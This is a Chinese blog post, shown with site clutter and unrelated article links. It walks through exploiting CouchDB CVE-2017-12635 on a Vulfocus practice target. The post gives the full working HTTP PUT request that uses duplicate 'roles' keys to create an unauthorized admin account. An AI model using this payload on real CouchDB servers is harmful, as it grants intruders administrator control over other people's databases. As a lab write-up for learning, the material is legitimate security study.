当前位置: 首页 > news >正文

中间件安全(二)

本文仅作为学习参考使用,本文作者对任何使用本文进行渗透攻击破坏不负任何责任。

前言:

前文链接:中间件安全(一)

本文主要讲解Couchdb数据库未授权越权漏洞(CVE-2017-12635)。

靶场链接:Vulfocus 漏洞威胁分析平台

一,靶场界面简介。

可以看到开放了三个端口,尝试后发现,仅http://123.58.224.8:35469 可以打开,打开后界面如下:

并无什么有价值的信息。

点击原始数据后,可以发现确实为Couchdb数据库,并且版本为:2.1.0(注意CVE-2017-12635影响版本:小于 1.7.0 以及 小于 2.1.1)。

访问/_utils目录。

couchdb/_utils目录简介:

可以看到,网页自动跳转到登录界面。

二,进行攻击。

随机输入账号密码并使用bp进行抓包。

可以看到,登录失败。

右键,将其发送到重发器。

本漏洞可以绕过创建权限而去实现任意创建admin权限的账号 实现登录。

使用从数据包,正常新建用户:

POST /_session HTTP/1.1
Host: 123.58.224.8:47926
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 94{"type": "user","name": "vulhub","roles": ["_admin"],"password": "vulhub"
}

失败。

使用绕过权限数据包:

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: http://123.58.224.8:47926
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 112{"type": "user","name": "vulhub","roles": ["_admin"],"roles": [],"password": "vulhub"
}

成功。

使用账号密码(vulhub,vulhub)进行测试。

成功。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • B2B2CJava商城如何提高二次开发能力
  • IEC101、IEC103、IEC 104区别
  • 《黑神话悟空》开发框架与战斗系统解析
  • 达梦数据库sql日志说明
  • 深蓝学院-- 量产自动驾驶中的规划控制算法 小鹏
  • 监控易监测对象及指标之:全面监控GBase数据库
  • 【MySQL】MySQL和Workbench版本兼容问题
  • MATLAB绘图:4.统计图表
  • Microsoft Edge 五个神级插件
  • 鸿蒙Harmony应用开发,数据驾驶舱登录页面的实现
  • 电子元件制造5G智能工厂物联数字孪生平台,推进制造业数字化转型
  • linux内核 devtmpfs介绍
  • 【学习资料】袋中共36个球,红白黑格12个,问能一次抽到3个红4个白5个黑的概率是多少?
  • springboot家政服务管理系统—计算机毕业设计源码34242
  • 苹果CMS插件:优化蜘蛛访问内容,提升百度收录率
  • 9月CHINA-PUB-OPENDAY技术沙龙——IPHONE
  • github指令
  • HTTP 简介
  • Java 最常见的 200+ 面试题:面试必备
  • JS学习笔记——闭包
  • Spring声明式事务管理之一:五大属性分析
  • Swoft 源码剖析 - 代码自动更新机制
  • 盘点那些不知名却常用的 Git 操作
  • 前端攻城师
  • 前端自动化解决方案
  • 区块链共识机制优缺点对比都是什么
  • 三栏布局总结
  • 使用Gradle第一次构建Java程序
  • 限制Java线程池运行线程以及等待线程数量的策略
  • 云栖大讲堂Java基础入门(三)- 阿里巴巴Java开发手册介绍
  • 3月27日云栖精选夜读 | 从 “城市大脑”实践,瞭望未来城市源起 ...
  • Java数据解析之JSON
  • ​​​​​​​GitLab 之 GitLab-Runner 安装,配置与问题汇总
  • # centos7下FFmpeg环境部署记录
  • # 手柄编程_北通阿修罗3动手评:一款兼具功能、操控性的电竞手柄
  • ## 基础知识
  • #VERDI# 关于如何查看FSM状态机的方法
  • #我与Java虚拟机的故事#连载17:我的Java技术水平有了一个本质的提升
  • (1)(1.9) MSP (version 4.2)
  • (1)bark-ml
  • (3) cmake编译多个cpp文件
  • (3)(3.5) 遥测无线电区域条例
  • (ISPRS,2023)深度语义-视觉对齐用于zero-shot遥感图像场景分类
  • (Matlab)基于蝙蝠算法实现电力系统经济调度
  • (编程语言界的丐帮 C#).NET MD5 HASH 哈希 加密 与JAVA 互通
  • (动态规划)5. 最长回文子串 java解决
  • (七)MySQL是如何将LRU链表的使用性能优化到极致的?
  • (一)Mocha源码阅读: 项目结构及命令行启动
  • (转)母版页和相对路径
  • (转载)跟我一起学习VIM - The Life Changing Editor
  • .java 指数平滑_转载:二次指数平滑法求预测值的Java代码
  • .net 生成二级域名
  • .netcore如何运行环境安装到Linux服务器
  • .NET开源项目介绍及资源推荐:数据持久层 (微软MVP写作)
  • .net用HTML开发怎么调试,如何使用ASP.NET MVC在调试中查看控制器生成的html?